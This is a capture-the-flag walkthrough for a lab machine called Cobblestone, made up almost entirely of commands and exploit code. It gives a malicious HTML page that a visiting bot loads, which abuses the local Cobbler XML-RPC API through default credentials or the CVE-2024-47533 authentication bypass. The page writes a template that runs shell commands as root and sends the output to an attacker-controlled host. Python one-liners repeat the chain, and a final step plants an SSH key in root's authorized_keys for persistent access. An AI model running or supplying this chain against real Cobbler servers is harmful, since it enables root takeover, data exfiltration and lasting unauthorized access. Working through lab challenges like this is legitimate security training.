Cobblestone

Enumerate virtual hosts by fuzzing the Host header; adjust -fs to filter the default response size.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.cobblestone.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302,403 -fs 0

Retrieve the unauthenticated dependency manifest to fingerprint PHP framework versions.

$ curl -s -H 'Host: cobblestone.htb' http://$TARGET/composer.lock | python3 -m json.tool | head -40

Register my account.

$ curl -sS -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&first=A&last=B&email=a@b.com&password=$PASSWORD2" http://$TARGET/register.php

Log in and save session cookie to /tmp/c.jar.

$ curl -sS -b /tmp/c.jar -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&password=$PASSWORD2" http://$TARGET/login_verify.php

Start my HTTP server to serve the exploit page and receive exfiltrated data.

$ python3 -m http.server 8000 --bind $ATTACKER_IP --directory /tmp/cobble_www &

Submit the malicious page URL as a skin suggestion; bot will visit it.

$ curl -sS -b /tmp/c.jar -H 'Host: vote.cobblestone.htb' --data-urlencode "url=http://$ATTACKER_IP:8000/x.html" http://$TARGET/suggest.php

Full exploit page: bot authenticates to Cobbler, writes malicious template, attaches it, renders it as root, and exfiltrates the output. Replace $ATTACKER_IP with your LHOST.

$ cat > /tmp/cobble_www/x.html <<EOHTML
<script>
const C='http://127.0.0.1:25151/cobbler_api';
const E="http://$ATTACKER_IP:8000/out";
function rpc(m,...a){const b='<?xml version="1.0"?><methodCall><methodName>'+m+'</methodName><params>'+a.map(v=>'<param><value><string>'+v+'</string></value></param>').join('')+'</params></methodCall>';return fetch(C,{method:'POST',body:b,headers:{'Content-Type':'text/xml'}}).then(r=>r.text());}
(async()=>{
  let tok;
  try{tok=(await rpc('login','cobbler','cobbler')).match(/<string>([^<]{5,})<\/string>/)[1];}
  catch(e){tok=(await rpc('login','','-1')).match(/<string>([^<]{5,})<\/string>/)[1];}
  const payload="#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\n\$x\n";
  await rpc('write_autoinstall_template','e.ks',payload,tok);
  const profs=await rpc('get_profiles',tok);
  const prof=profs.match(/<string>([^<]+)<\/string>/)[1];
  await rpc('modify_profile',prof,'autoinstall','e.ks',tok);
  await rpc('save_profile',prof,tok);
  const out=await rpc('generate_autoinstall',prof);
  fetch(E+'?d='+encodeURIComponent(out));
})();
</script>
EOHTML

Authenticate with default credentials; run from the server (or via bot relay). Replace login args with ('','-1') for CVE-2024-47533 bypass.

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
print('Token:', tok)
"

CVE-2024-47533 auth bypass: empty username and -1 password returns a valid privileged token without any credentials.

$ curl -s -X POST http://127.0.0.1:25151/cobbler_api -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string></string></value></param><param><value><string>-1</string></value></param></params></methodCall>'

Full Python exploitation script — authenticate, write bypassing template, attach to existing profile, render as root. Run from the server or relay via bot JS (see step 3).

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
payload = \"#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\\n\$x\\n\"
s.write_autoinstall_template('e.ks', payload, tok)
profiles = s.get_profiles(tok)
prof_name = profiles[0]['name'] if profiles else s.get_profile_names(tok)[0]
s.modify_profile(prof_name, 'autoinstall', 'e.ks', tok)
s.save_profile(prof_name, tok)
out = s.generate_autoinstall(prof_name)
print(out)
"

Swap __import__ payload to write my SSH public key to root's authorized_keys for persistent access. Replace SSH_PUBKEY with your actual public key.

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
# Persistence payload: drop my SSH key
payload = \"#set \$x=__import__('os').popen('mkdir -p /root/.ssh && echo SSH_PUBKEY >> /root/.ssh/authorized_keys').read()\\n\$x\\n\"
payload = payload.replace('SSH_PUBKEY', open('/root/.ssh/id_rsa.pub').read().strip())
s.write_autoinstall_template('e.ks', payload, tok)
prof = s.get_profile_names(tok)[0]
s.modify_profile(prof, 'autoinstall', 'e.ks', tok)
s.save_profile(prof, tok)
s.generate_autoinstall(prof)
print('Key planted')
"

Log in as root via SSH after the key has been planted by the template render.

$ ssh -i ~/.ssh/id_rsa root@$TARGET